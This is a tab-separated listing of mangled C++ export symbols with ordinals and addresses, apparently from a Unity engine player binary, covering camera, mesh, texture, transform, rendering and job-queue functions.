?MightContainPPtr@MonoManager@@SA_NXZ	1917	0x5c9040
?MightContainPPtr@NamedObject@@SA_NXZ	1918	0x5c9040
?MightContainPPtr@RenderSettings@@SA_NXZ	1919	0x5c9040
?MightContainPPtr@RenderTexture@@SA_NXZ	1920	0x5c9040
?MightContainPPtr@Renderer@@SA_NXZ	1921	0x5c9040
?MightContainPPtr@ScriptMapper@@SA_NXZ	1922	0x5c9040
?MightContainPPtr@SkinnedMeshRenderer@@SA_NXZ	1923	0x5c9040
?MightContainPPtr@SparseTexture@@SA_NXZ	1924	0x5c9040
?MightContainPPtr@Texture2D@@SA_NXZ	1925	0x5c9040
?MightContainPPtr@Texture@@SA_NXZ	1926	0x5c9040
?MightContainPPtr@Transform@@SA_NXZ	1927	0x5c9040
?Move@?$RectT@M@@QAEXMM@Z	1928	0x43cc40
?MoveAfter@Transform@@QAEXPBV1@@Z	1929	0x570230
?MultiplyPoint3@Matrix3x3f@@QBE?AVVector3f@@ABV2@@Z	1930	0x40e640
?MultiplyPoint3@Matrix4x4f@@QBE?AVVector3f@@ABV2@@Z	1931	0x405fe0
?MultiplyPoint3@Matrix4x4f@@QBEXABVVector3f@@AAV2@@Z	1932	0x4060e0
?MultiplyPoint3Transpose@Matrix3x3f@@QBE?AVVector3f@@ABV2@@Z	1933	0x40e720
?MultiplyVector3@Matrix3x3f@@QBE?AVVector3f@@ABV2@@Z	1934	0x40e640
?MultiplyVector3@Matrix3x3f@@QBEXABVVector3f@@AAV2@@Z	1935	0x40e260
?MultiplyVector3@Matrix4x4f@@QBE?AVVector3f@@ABV2@@Z	1936	0x406200
?MultiplyVector3@Matrix4x4f@@QBEXABVVector3f@@AAV2@@Z	1937	0x4062e0
?MultiplyVector3Transpose@Matrix3x3f@@QBE?AVVector3f@@ABV2@@Z	1938	0x40e720
?MultiplyVector4@Matrix4x4f@@QBE?AVVector4f@@ABV2@@Z	1939	0x407220
?MultiplyVector4@Matrix4x4f@@QBEXABVVector4f@@AAV2@@Z	1940	0x4063d0
?NeedNonCriticalMetaFlags@ProxyTransfer@@QAE_NXZ	1941	0x406800
?NeedNonCriticalMetaFlags@TransferBase@@QAE_NXZ	1942	0xd153d0
?NeedsInstanceIDRemapping@?$StreamedBinaryWrite@$0A@@@QAE_NXZ	1943	0x40e5c0
?NeedsInstanceIDRemapping@BlobWrite@@QAE_NXZ	1944	0x40e5c0
?NeedsInstanceIDRemapping@SafeBinaryRead@@QAE_NXZ	1945	0x40e5c0
?NeedsInstanceIDRemapping@TransferBase@@QAE_NXZ	1946	0xd153d0
?NetworkOnApplicationQuit@GameManager@@UAEXXZ	1947	0x554fb0
?NetworkUpdate@GameManager@@UAEXXZ	1948	0x554fb0
?NoTarget@BuildTargetSelection@@SA?AU1@XZ	1949	0x405970
?NotifyMipBiasChanged@Texture@@IAEXXZ	1950	0x55f820
?NotifyObjectUsers@Mesh@@AAEXABVMessageIdentifier@@@Z	1951	0x4c0cb0
?NotifySceneHandleChange@Renderer@@QAEXH@Z	1952	0x512a40
?NotifyScriptCacheRelease@ScriptingManager@@QAEXI@Z	1953	0x551060
?NotifyUVScaleChanged@Texture@@IAEXXZ	1954	0x55f870
?OnAssetBoundsChanged@IntermediateRenderer@@UAEXXZ	1955	0x554fb0
?OnAssetDeleted@MeshIntermediateRenderer@@UAEXXZ	1956	0x469350
?OnAssetDeleted@SpriteIntermediateRenderer@@UAEXXZ	1957	0x469350
?OnDidAddMesh@MeshFilter@@QAEXXZ	1958	0x4d2480
?OrthoNormalize@@YAXAAVMatrix3x3f@@@Z	1959	0x59dc70
?OrthoNormalize@@YAXPAVVector3f@@00@Z	1960	0x5a76a0
?OrthoNormalize@@YAXPAVVector3f@@0@Z	1961	0x5a7350
?OverrideRootTypeName@SafeBinaryRead@@AAEXPBD@Z	1962	0x6250b0
?PRODUCE@Behaviour@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1963	0xf35de0
?PRODUCE@Camera@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1964	0x417aa0
?PRODUCE@Component@Unity@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1965	0x406a80
?PRODUCE@EditorExtension@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1966	0x4075b0
?PRODUCE@GameManager@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1967	0xf35de0
?PRODUCE@GameObject@Unity@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1968	0x406980
?PRODUCE@GlobalGameManager@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1969	0xf35de0
?PRODUCE@LevelGameManager@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1970	0xf35de0
?PRODUCE@Material@Unity@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1971	0x417f70
?PRODUCE@Mesh@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1972	0x4457d0
?PRODUCE@MeshFilter@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1973	0x4d2680
?PRODUCE@MonoManager@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1974	0x406930
?PRODUCE@NamedObject@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1975	0xf35de0
?PRODUCE@Object@@KAPAV1@UMemLabelId@@W4ObjectCreationMode@@@Z	1976	0xf35de0
?PRODUCE@RenderSettings@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1977	0x43fc70
?PRODUCE@RenderTexture@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1978	0x417930
?PRODUCE@Renderer@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1979	0xf35de0
?PRODUCE@ScriptMapper@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1980	0x4459e0
?PRODUCE@SkinnedMeshRenderer@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1981	0x4b66b0
?PRODUCE@SparseTexture@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1982	0x5661a0
?PRODUCE@Texture2D@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1983	0x40d480
?PRODUCE@Texture@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1984	0xf35de0
?PRODUCE@Transform@@SAPAVObject@@UMemLabelId@@W4ObjectCreationMode@@@Z	1985	0x40e370
?PackTextureAtlasSimple@@YA_NPAVTexture2D@@HHPAPAV1@PAV?$RectT@M@@H_N3@Z	1986	0x535990
?PerspectiveMultiplyPoint3@Matrix4x4f@@QBE_NABVVector3f@@AAV2@@Z	1987	0x407050
?PerspectiveMultiplyVector3@Matrix4x4f@@QBE_NABVVector3f@@AAV2@@Z	1988	0x407390
?PlayerMainWndProc@@YGJPAUHWND__@@IIJ@Z	1989	0x672450
?PlayerWinMain@@YAHPAUHINSTANCE__@@0PADH@Z	1990	0x673f90
?Pop@JobQueue@@AAEPAUJobInfo@@UJobGroupID@@@Z	1991	0x653620
?PopMetaFlag@RemapPPtrTransfer@@QAEXXZ	1992	0x623f40
?PostInitializeClass@RenderSettings@@SAXXZ	1993	0x489280
?PostInitializeClass@Renderer@@SAXXZ	1994	0x512cc0
?PreallocateMemory@MemoryPool@@QAEXH@Z	1995	0x663c90
?PrepareLODCullingData@Camera@@SAXAAUCullResults@@PBV1@@Z	1996	0x456280
?PrepareSceneCullingParameters@Camera@@SAXABUCameraCullingParameters@@W4RenderingPath@@AAUCullResults@@@Z	1997	0x45ad10
?PrepareSkin@SkinnedMeshRenderer@@QAEPAUSkinMeshInfo@@HPAVJobBatchDispatcher@@@Z	1998	0x4b9c40
?PrepareSkinCommon@SkinnedMeshRenderer@@QAEPAUSkinMeshInfo@@HPAVJobBatchDispatcher@@@Z	1999	0x4b9820
?PrepareSkinGPU@SkinnedMeshRenderer@@QAEPAUSkinMeshInfo@@HPAVJobBatchDispatcher@@@Z	2000	0x4b9c40
?ProcessJobs@JobQueue@@AAEXPAXPA_N@Z	2001	0x653870
?Produce@Object@@SAPAV1@HHUMemLabelId@@W4ObjectCreationMode@@@Z	2002	0x40c730
?Push@BlobWrite@@AAEXIPBXI@Z	2003	0x636d20
?PushMetaFlag@RemapPPtrTransfer@@QAEXW4TransferMetaFlags@@@Z	2004	0x624040
?QuaternionToEuler@@YA?AVVector3f@@ABVQuaternionf@@@Z	2005	0x5a33b0
?QuaternionToMatrix@@YAXABVQuaternionf@@AAVMatrix3x3f@@@Z	2006	0x5a2c60
?QueryComponentExactTypeImplementation@GameObject@Unity@@QBEPAVComponent@2@H@Z	2007	0x40e980
?QueryComponentImplementation@GameObject@Unity@@QBEPAVComponent@2@H@Z	2008	0x40e9e0
?QueryComponentTransform@GameObject@Unity@@QBEPAVTransform@@XZ	2009	0x40e9b0
?QueryGpuSkinSourceBuffer@Mesh@@QAEPAVVertexBuffer@@H@Z	2010	0x4c4610
?RaiseArgumentException@Scripting@@YAXPBDZZ	2011	0x54d7f0
?RaiseNullException@Scripting@@YAXPBDZZ	2012	0x54d7d0
?RaiseNullExceptionObject@Scripting@@YAXPAUMonoObject@@@Z	2013	0x54d830
?ReadDirect@?$StreamedBinaryRead@$00@@QAEXPAXH@Z	2014	0x6259d0
?ReadDirect@?$StreamedBinaryRead@$0A@@@QAEXPAXH@Z	2015	0x6259d0
?ReadObjectFromPersistentManager@@YAPAVObject@@H@Z	2016	0x406b50
?ReadPixels@Texture2D@@QAEXHHHHHHH_N0@Z	2017	0x562410
?ReadSkinningDataForCloth@SkinnedMeshRenderer@@QAEXABUSkinMeshInfo@@_N@Z	2018	0x4b6f10
?ReadStreamingInfo@TransferBase@@QAE_NPAUStreamingInfo@@@Z	2019	0x65f010
?RebuildClassIDToScriptingClass@MonoManager@@EAEXXZ	2020	0x546fd0
?RebuildClassIDToScriptingClass@ScriptingManager@@UAEXXZ	2021	0x5519a0
?RebuildCollisionTriangles@Mesh@@QAEXXZ	2022	0x4bf600
?RebuildCommonMonoClasses@MonoManager@@EAEXXZ	2023	0x5465c0
?RebuildMipMap@Texture2D@@UAEXXZ	2024	0x560e40
?RecalculateBounds@Mesh@@QAEXXZ	2025	0x4c4470
?RecalculateBoundsInternal@Mesh@@AAEXXZ	2026	0x4c3ec0
?RecalculateNormals@Mesh@@QAEXXZ	2027	0x4cc600
?RecalculateSubmeshBounds@Mesh@@QAEXI@Z	2028	0x4c2840
?RecalculateSubmeshBoundsInternal@Mesh@@AAEXI@Z	2029	0x4c24a0
?RecalculateTransformType@Transform@@QAEXXZ	2030	0x56a860
?ReduceCopyImpl@BlobWrite@@AAEXABUReduceCopyData@@I@Z	2031	0x636c10
?Register@?$CallbackArrayBase@P6AXAAUClassRegistrationContext@@@Z@@QAEXP6AXAAUClassRegistrationContext@@@Z@Z	2032	0x49c720
?Register@?$CallbackArrayBase@P6AXAAVModuleManager@@@Z@@QAEXP6AXAAVModuleManager@@@Z@Z	2033	0x49c720
?Register@?$CallbackArrayBase@P6AXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@Z@@QAEXP6AXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@Z@Z	2034	0x49c720
?Register@?$CallbackArrayBase@P6AXABVCamera@@@Z@@QAEXP6AXABVCamera@@@Z@Z	2035	0x49c720
?Register@?$CallbackArrayBase@P6AXPAVCamera@@@Z@@QAEXP6AXPAVCamera@@@Z@Z	2036	0x49c720
?Register@?$CallbackArrayBase@P6AXPBUIndexList@@PBURendererCullData@@@Z@@QAEXP6AXPBUIndexList@@PBURendererCullData@@@Z@Z	2037	0x49c720
?Register@?$CallbackArrayBase@P6AXXZ@@QAEXP6AXXZ@Z	2038	0x49c720
?RegisterAllMessagesHandler@GameObject@Unity@@SAXHP6AXPAXHAAUMessageData@@@ZP6A_N0H1@Z@Z	2039	0x4128c0
?RegisterAllowNameConversion@@YAXAAVAllowNameConversions@@PBD11@Z	2040	0x626a60
?RegisterAllowNameConversion@@YAXPBD00@Z	2041	0x626b20
?RegisterAllowNameConversionInDerivedTypes@@YAXPBD00@Z	2042	0x626b40
?RegisterClassA@Behaviour@@SAXXZ	2043	0x523970
?RegisterClassA@Camera@@SAXXZ	2044	0x456b30
?RegisterClassA@Component@Unity@@SAXXZ	2045	0x410f70
?RegisterClassA@EditorExtension@@SAXXZ	2046	0x40db20
?RegisterClassA@GameManager@@SAXXZ	2047	0x40dfa0
?RegisterClassA@GameObject@Unity@@SAXXZ	2048	0x410ef0
?RegisterClassA@GlobalGameManager@@SAXXZ	2049	0x40e0a0
?RegisterClassA@LevelGameManager@@SAXXZ	2050	0x40e020
?RegisterClassA@Material@Unity@@SAXXZ	2051	0x648410
?RegisterClassA@Mesh@@SAXXZ	2052	0x4ce710
?RegisterClassA@MeshFilter@@SAXXZ	2053	0x4d2700
?RegisterClassA@MonoManager@@SAXXZ	2054	0x549310
?RegisterClassA@NamedObject@@SAXXZ	2055	0x417340
?RegisterClassA@Object@@KAXHHABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@HP6APAV1@UMemLabelId@@W4ObjectCreationMode@@@Z_N4@Z	2056	0x40c080
?RegisterClassA@Object@@SAXXZ	2057	0x40c6d0
?RegisterClassA@RenderSettings@@SAXXZ	2058	0x489810
?RegisterClassA@RenderTexture@@SAXXZ	2059	0x5173a0
?RegisterClassA@Renderer@@SAXXZ	2060	0x513980
?RegisterClassA@ScriptMapper@@SAXXZ	2061	0x64ec30
?RegisterClassA@SkinnedMeshRenderer@@SAXXZ	2062	0x4b85f0
?RegisterClassA@SparseTexture@@SAXXZ	2063	0x5663f0
?RegisterClassA@Texture2D@@SAXXZ	2064	0x562cc0
?RegisterClassA@Texture@@SAXXZ	2065	0x55fe30
?RegisterClassA@Transform@@SAXXZ	2066	0x5703b0
?RegisterConverter@SafeBinaryRead@@SAXPBD0P6A_NPAXAAV1@@Z@Z	2067	0x625820
?RegisterDestroyedCallback@GameObject@Unity@@SAXP6AXPAV12@@Z@Z	2068	0x40e530
?RegisterDestroyedCallback@Object@@SAXP6AXH@Z@Z	2069	0x406ca0
?RegisterInitializeClassCallback@@YAXHP6AXXZ000@Z	2070	0x40b4b0
?RegisterInstanceID@Object@@SAXPAV1@@Z	2071	0x40c530
?RegisterInstanceIDNoLock@Object@@SAXPAV1@@Z	2072	0x40c580
?RegisterMessageHandler@GameObject@Unity@@SAXHABVMessageIdentifier@@P6AXPAXHAAUMessageData@@@ZH@Z	2073	0x412870
?RegisterScriptCache@ScriptingManager@@QAEXPAUMonoScriptCache@@@Z	2074	0x5512c0
?RegisterSetGONameCallback@GameObject@Unity@@SAXP6AXPAV12@@Z@Z	2075	0x40e560
?RegisterStaticMemoryPool@MemoryPool@@SAXPAV1@@Z	2076	0x6640d0
?Release@RenderTexture@@QAEXXZ	2077	0x516480
?Release@Texture@@QAEXXZ	2078	0x55f640
?ReleaseAll@RenderTexture@@SAXXZ	2079	0x5181a0
?ReleaseAllMaterialsPropertySheets@Material@Unity@@SAXXZ	2080	0x645c40
?ReloadAll@Texture@@SAX_N000@Z	2081	0x5600e0
?ReloadAssembly@MonoManager@@QAE?AW4AssemblyLoadFailure@1@XZ	2082	0x5487e0
?ReloadToGfxDevice@Mesh@@QAEXXZ	2083	0x4c2e70
?ReloadToGfxDevice@SkinnedMeshRenderer@@QAEXXZ	2084	0x4b7000
?RemoveAllCommandBuffers@Camera@@QAEXXZ	2085	0x417b20
?RemoveBehaviour@BaseBehaviourManager@@QAEXAAV?$ListNode@VBehaviour@@@@@Z	2086	0x5231c0
?RemoveBehavioursFromManager@MonoManager@@CAXABV?$vector@HV?$allocator@H@std@@@std@@@Z	2087	0x547e90
?RemoveChannel@Mesh@@QAEXW4ShaderChannel@@@Z	2088	0x4c0b60
?RemoveCommandBuffer@Camera@@QAEXW4RenderCameraEventType@@PAVRenderingCommandBuffer@@@Z	2089	0x417b00
?RemoveCommandBuffers@Camera@@QAEXW4RenderCameraEventType@@@Z	2090	0x417b10
?RemoveComponentAtIndex@GameObject@Unity@@QAEXH@Z	2091	0x40f8a0
?RemoveComponentFromGameObjectInternal@GameObject@Unity@@SAXAAVComponent@2@@Z	2092	0x40f540
?RemoveEvent@Object@@QAEXP6AXPAX0H@Z0@Z	2093	0x406ce0
?RemoveFromList@ListElement@@QAE_NXZ	2094	0x401020
?RemoveFromManager@Camera@@EAEXXZ	2095	0x453260
?RemoveFromParent@Transform@@QAEX_N@Z	2096	0x56abd0
?RemoveFromScene@Renderer@@MAEXXZ	2097	0x512a80
?RemoveImageFilter@Camera@@QAEXABUImageFilter@@@Z	2098	0x4535c0
?RemoveIndex@UserList@@AAEXH@Z	2099	0x5cc3a0
?RemoveKeys@?$AnimationCurveTpl@M@@QAEXPAU?$KeyframeTpl@M@@0@Z	2100	0x5aa7c0
?RemoveKeys@?$AnimationCurveTpl@VQuaternionf@@@@QAEXPAU?$KeyframeTpl@VQuaternionf@@@@0@Z	2101	0x5aaf60
?RemoveKeys@?$AnimationCurveTpl@VVector3f@@@@QAEXPAU?$KeyframeTpl@VVector3f@@@@0@Z	2102	0x5aad10
?RemoveTexEnvUser@Texture@@QAEXPAVTexEnv@ShaderLab@@I@Z	2103	0x55f7e0
?Render@Camera@@QAEXAAUCullResults@@AAUShaderPassContext@ShaderLab@@ABUCameraRenderingParams@@H@Z	2104	0x45b6d0
?Render@Camera@@QAEXAAUCullResults@@AAUShaderPassContext@ShaderLab@@H@Z	2105	0x45c4d0
?Render@MeshIntermediateRenderer@@UAEXHABVChannelAssigns@@@Z	2106	0x469590
?Render@SkinnedMeshRenderer@@UAEXHABVChannelAssigns@@@Z	2107	0x4b9ec0
?Render@SpriteIntermediateRenderer@@UAEXHABVChannelAssigns@@@Z	2108	0x469470
?RenderDepthNormalsTexture@Camera@@AAEXABUCullResults@@AAUShaderPassContext@ShaderLab@@@Z	2109	0x45b310
?RenderDepthTexture@Camera@@AAEXABUCullResults@@AAUShaderPassContext@ShaderLab@@@Z	2110	0x45b1c0
?RenderMultiple@BaseRenderer@@UAEXABURenderMultipleMeshData@@ABVChannelAssigns@@@Z	2111	0x54d620
?RenderMultiple@MeshIntermediateRenderer@@UAEXABURenderMultipleMeshData@@ABVChannelAssigns@@@Z	2112	0x4d6a20
?RenderSkybox@Camera@@QAEXXZ	2113	0x458910
?RenderStereo@Camera@@QAEXH@Z	2114	0x45ce50
?RenderSubMesh@MeshIntermediateRenderer@@IAEXHABVChannelAssigns@@@Z	2115	0x469360
?RendererBecameInvisible@BaseRenderer@@UAEXXZ	2116	0x417610
?RendererBecameInvisible@Renderer@@UAEXXZ	2117	0x512a00
?RendererBecameVisible@BaseRenderer@@UAEXXZ	2118	0x417600
?RendererBecameVisible@Renderer@@UAEXXZ	2119	0x5129b0
?ReplacePartialFloatColorProperty@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@MEE@Z	2120	0x64b2b0
?ReplacePartialFloatProperty@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@MEE@Z	2121	0x64b070
?ReplacePropertyColor@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@ABVColorRGBAf@@@Z	2122	0x64b240
?ReplacePropertyFloat@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@M@Z	2123	0x64b290
?ReplacePropertyMatrix@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@ABVMatrix4x4f@@@Z	2124	0x64afd0
?ReplacePropertyTexture@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@W4TextureDimension@@UTextureID@@@Z	2125	0x64ae60
?ReplacePropertyVector@MaterialPropertyBlock@@QAEXABUFastPropertyName@ShaderLab@@ABVVector4f@@@Z	2126	0x64af20
?ReportScriptingObject@ReportScriptingObjectsTransfer@@QAEXPAVGeneralMonoObject@@@Z	2127	0x542780
?Reserve@UserList@@QAEXI@Z	2128	0x5cc4d0
?Reset@?$RectT@H@@QAEXXZ	2129	0x435aa0
?Reset@?$RectT@M@@QAEXXZ	2130	0x418150
?Reset@Camera@@UAEXXZ	2131	0x454c20
?Reset@GameObject@Unity@@UAEXXZ	2132	0x40e8e0
?Reset@Material@Unity@@UAEXXZ	2133	0x647ac0
?Reset@MemoryPool@@AAEXXZ	2134	0x6639d0
?Reset@Object@@UAEXXZ	2135	0x554fb0
?Reset@RenderSettings@@UAEXXZ	2136	0x48bc50
?Reset@SkinnedMeshRenderer@@UAEXXZ	2137	0x4b7060
?Reset@Texture2D@@UAEXXZ	2138	0x560460
?Reset@Texture@@UAEXXZ	2139	0x55f7d0
?Reset@Transform@@UAEXXZ	2140	0x56ab40
?ResetAllMaterialsCachedPasses@Material@Unity@@SAXXZ	2141	0x644a40
?ResetAspect@Camera@@QAEXXZ	2142	0x459b20
?ResetProjectionMatrix@Camera@@QAEXXZ	2143	0x417d40
?ResetReplacementShader@Camera@@QAEXXZ	2144	0x4189d0
?ResetWithShader@Material@Unity@@QAEXPAVShader@@@Z	2145	0x6474e0
?ResetWorldToCameraMatrix@Camera@@QAEXXZ	2146	0x417d20
?Resize@Texture2D@@QAE_NHH@Z	2147	0x40d660
?ResizeUninitialized@?$AnimationCurveTpl@M@@QAEXH@Z	2148	0x801ed0
?ResizeUninitialized@?$AnimationCurveTpl@VQuaternionf@@@@QAEXH@Z	2149	0x4bb990
?ResizeUninitialized@?$AnimationCurveTpl@VVector3f@@@@QAEXH@Z	2150	0x850840
?ResizeVertices@Mesh@@QAEXII@Z	2151	0x4cbe00
?ResizeVertices@Mesh@@QAEXIIIABUVertexChannelsLayout@@@Z	2152	0x4ca9e0
?ResizeVertices@Mesh@@QAEXIIIABUVertexChannelsLayout@@ABUVertexStreamsLayout@@@Z	2153	0x4c88d0
?ResizeWithFormat@Texture2D@@QAE_NHHW4TextureFormat@@H@Z	2154	0x560b30
?ResolveAntiAliasedSurface@RenderTexture@@AAEXXZ	2155	0x516370
?ResolveDependency@JobQueue@@AAEXPAVJobGroup@@@Z	2156	0x6536b0
?RestoreMatrixState@Camera@@QAEXABUMatrixState@1@@Z	2157	0x453460
?Retain@Texture@@QAEXXZ	2158	0x55f650
?RevertWeakHandle@Object@@QAE_NXZ	2159	0x406c50
?RotateAround@Transform@@QAEXABVVector3f@@M@Z	2160	0x56e940
?RotateAroundLocal@Transform@@QAEXABVVector3f@@M@Z	2161	0x56e580
?RotateAroundLocalSafe@Transform@@QAEXABVVector3f@@M@Z	2162	0x56e840
?RotateAroundSafe@Transform@@QAEXABVVector3f@@M@Z	2163	0x56ec00
?Run@Thread@@QAEXP6APAXPAX@Z0IH@Z	2164	0x654170
?RunThreadWrapper@Thread@@CGKPAX@Z	2165	0x654110
?SaveMatrixState@Camera@@QBEXAAUMatrixState@1@@Z	2166	0x4533f0
?Scale@?$RectT@M@@QAEXMM@Z	2167	0x453e80
?Scale@Matrix3x3f@@QAEAAV1@ABVVector3f@@@Z	2168	0x59cbb0
?Scale@Matrix4x4f@@QAEAAV1@ABVVector3f@@@Z	2169	0x59ebe0
?ScheduleGroup@JobQueue@@QAE?AUJobGroupID@@PAVJobGroup@@W4JobQueuePriority@1@@Z	2170	0x653490
?ScheduleGroups@JobQueue@@QAEXPAVJobGroup@@0@Z	2171	0x653560
?ScheduleJob@JobQueue@@QAE?AUJobGroupID@@P6AXPAX@Z0U2@W4JobQueuePriority@1@@Z	2172	0x653570
?ScheduleJobsForEach@JobQueue@@QAE?AUJobGroupID@@P6AXPAXI@Z0IP6AX0@ZU2@W4JobQueuePriority@1@@Z	2173	0x6535c0
?ScreenPointToRay@Camera@@QBE?AVRay@@ABVVector2f@@@Z	2174	0x458d60
?ScreenToViewportPoint@Camera@@QBE?AVVector3f@@ABV2@@Z	2175	0x4591a0
?ScreenToWorldPoint@Camera@@QBE?AVVector3f@@ABV2@@Z	2176	0x459130
?ScriptingWrapperFor@Scripting@@YAPAUMonoObject@@PAVObject@@@Z	2177	0x5528c0
?SendBeforeParentingChanged@Transform@@QAEXXZ	2178	0x567db0
?SendMessageA@Component@Unity@@QAEXABVMessageIdentifier@@@Z	2179	0x406ac0
?SendMessageA@UserList@@QAEXABVMessageIdentifier@@@Z	2180	0x5cc4e0
?SendMessageA@UserList@@QAEXABVMessageIdentifier@@AAUMessageData@@@Z	2181	0x5cc320
?SendMessageAny@Component@Unity@@QAEXABVMessageIdentifier@@AAUMessageData@@@Z	2182	0x40ed70
?SendMessageAny@GameObject@Unity@@QAEXABVMessageIdentifier@@AAUMessageData@@@Z	2183	0x40eb80
?SendTransformChanged@Transform@@QAEXH@Z	2184	0x567ca0
?SendTransformChangedToModifiedTransforms@Transform@@QAEXXZ	2185	0x56cb00
?Set@?$RectT@H@@QAEXHHHH@Z	2186	0x435a80
?Set@?$RectT@M@@QAEXMMMM@Z	2187	0x46d5c0
?SetActive@RenderTexture@@SAXPAV1@HW4CubemapFace@@I@Z	2188	0x5180d0
?SetActive@RenderTexture@@SA_NHPAU?$ObjectHandle@URenderSurface_Tag@@PAURenderSurfaceBase@@@@U2@PAV1@HW4CubemapFace@@I@Z	2189	0x517d20
?SetActive@RenderTexture@@SA_NPAV1@ABUGfxRenderTargetSetup@@I@Z	2190	0x517b70
?SetActiveBitInternal@GameObject@Unity@@QAEX_N@Z	2191	0x406a50
?SetActiveRecursivelyDeprecated@GameObject@Unity@@QAEX_N@Z	2192	0x40fdd0
?SetAllocateMemoryAutomatically@MemoryPool@@QAEX_N@Z	2193	0x4458c0
?SetAllowNameConversions@SafeBinaryRead@@QAEXPBVAllowNameConversions@@@Z	2194	0x445950
?SetAllowVerticalFlip@RenderTexture@@QAEX_N@Z	2195	0x417a80
?SetAmbientEquatorColor@RenderSettings@@QAEXABVColorRGBAf@@@Z	2196	0x48b390
?SetAmbientGroundColor@RenderSettings@@QAEXABVColorRGBAf@@@Z	2197	0x48b3d0
?SetAmbientIntensity@RenderSettings@@QAEXM@Z	2198	0x48b430
?SetAmbientLightOld@RenderSettings@@QAEXABVColorRGBAf@@@Z	2199	0x48b2f0
?SetAmbientMode@RenderSettings@@QAEXW4AmbientMode@1@@Z	2200	0x48b410
?SetAmbientProbe@RenderSettings@@QAEXABUSphericalHarmonicsL2@@0@Z	2201	0x48b450
?SetAmbientProbe@RenderSettings@@QAEXABUSphericalHarmonicsL2@@@Z	2202	0x43fd20
?SetAmbientSkyColor@RenderSettings@@QAEXABVColorRGBAf@@@Z	2203	0x48b350
?SetAnisoLevel@Texture@@QAEXH@Z	2204	0x55f5a0
?SetAnisoLimit@Texture@@SAXH@Z	2205	0x55fd30
?SetAntiAliasing@RenderTexture@@QAEXH@Z	2206	0x515c10
?SetAsFirstSibling@Transform@@QAEXXZ	2207	0x40e850
?SetAsLastSibling@Transform@@QAEXXZ	2208	0x40e860
?SetAspect@Camera@@QAEXM@Z	2209	0x4535f0
?SetAwakeCalledInternal@Object@@QAEXXZ	2210	0x554fb0
?SetAwakeDidLoadThreadedCalledInternal@Object@@QAEXXZ	2211	0x554fb0
?SetAxis@Matrix4x4f@@QAEXHABVVector3f@@@Z	2212	0x405f30
?SetAxisAngle@Matrix3x3f@@QAEAAV1@ABVVector3f@@M@Z	2213	0x59de20
?SetAxisX@Matrix4x4f@@QAEXABVVector3f@@@Z	2214	0x405ed0
?SetAxisY@Matrix4x4f@@QAEXABVVector3f@@@Z	2215	0x405ef0
?SetAxisZ@Matrix4x4f@@QAEXABVVector3f@@@Z	2216	0x405f10
?SetBackgroundColor@Camera@@QAEXABVColorRGBAf@@@Z	2217	0x453d60
?SetBasis@Matrix3x3f@@QAEAAV1@ABVVector3f@@00@Z	2218	0x59cad0
?SetBasis@Matrix4x4f@@QAEAAV1@ABVVector3f@@00@Z	2219	0x59e9f0
?SetBasisTransposed@Matrix3x3f@@QAEAAV1@ABVVector3f@@00@Z	2220	0x59cb20
?SetBasisTransposed@Matrix4x4f@@QAEAAV1@ABVVector3f@@00@Z	2221	0x59ea70
?SetBindposes@Mesh@@QAEXPBVMatrix4x4f@@H@Z	2222	0x4c9370
?SetBlendShapeWeight@SkinnedMeshRenderer@@QAEXIM@Z	2223	0x4b8160
?SetBoneWeights@Mesh@@QAE_NPBUBoneInfluence@@H@Z	2224	0x4c93d0
?SetBones@SkinnedMeshRenderer@@QAEXABU?$dynamic_array@V?$PPtr@VTransform@@@@$03@@@Z	2225	0x4b80f0
?SetBottom@?$RectT@H@@QAEXH@Z	2226	0x45d4d0
?SetBottom@?$RectT@M@@QAEXM@Z	2227	0x43cc10
?SetBounds@Mesh@@QAEXABVAABB@@@Z	2228	0x4c2a20
?SetBounds@Mesh@@QAEXIABVAABB@@@Z	2229	0x4c2a70
?SetCacheDirty@Transform@@AAEXXZ	2230	0x567e10
?SetCachedPtrOnScriptingWrapper@Scripting@@YAXPAUMonoObject@@PAX@Z	2231	0xfdba00
?SetCachedScriptingObject@Object@@UAEXPAUMonoObject@@@Z	2232	0x407a90
?SetCameraShaderProps@Camera@@AAEXAAUShaderPassContext@ShaderLab@@ABUCameraRenderingParams@@@Z	2233	0x458390
?SetChangedFlag@Transform@@QAEX_N@Z	2234	0x40e3c0
?SetChannelsDirty@Mesh@@QAEXI_N@Z	2235	0x4c0d40
?SetClearFlags@Camera@@QAEXH@Z	2236	0x453da0
